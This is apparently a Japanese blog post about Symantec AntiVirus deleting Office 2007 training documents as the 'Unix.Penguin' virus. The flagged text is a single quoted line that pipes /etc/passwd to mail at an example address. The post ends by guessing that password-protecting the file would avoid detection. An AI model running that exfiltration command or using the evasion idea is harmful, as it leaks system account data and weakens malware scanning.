Office2007ドキュメント中のテキスト文章がウイルスとして検出される

メールの添付ファイルで、脆弱性の話の資料を送ったんですが、
送り先の方がSymantec AntiVirus Corporate Editionを使っていて、
教育用の資料を何度を送ってもウイルス扱いになって、
ファイルが削除されてしまうということがありました。


Office2007のファイルはXMLファイルを単にZIPで圧縮したものだから、
文章中に以下の文字が入ってたのがダメだったみたい。

cat /etc/passwd | mail ueno@example.jp

ウイルス名「Unix.Penguin」として検出されたようでした。

Unix.Penguin は、Unix 上で動作する単純かつ悪質なシェル スクリプト プログラムです。Norton AntiVirus の Unix.Penguin 検出技術は、システム パスワード データ ファイルを外部に送信しようとする Unix シェル スクリプトをすべて検出します。

Unix.Penguin | Symantec

原因追及中の出来事
メールで「cat /etc/passwd | mail ueno@example.jp」
のくだりがダメなんですかねぇ?と送ったら、
そのメールも検出されたというオチ。w


Office 2007のパスワード保護ファイル / 風邪なのか喉が痛い - B-) の独り言を読んで思い出しました。
パスワード付きで送ったら検出されなくなりそう。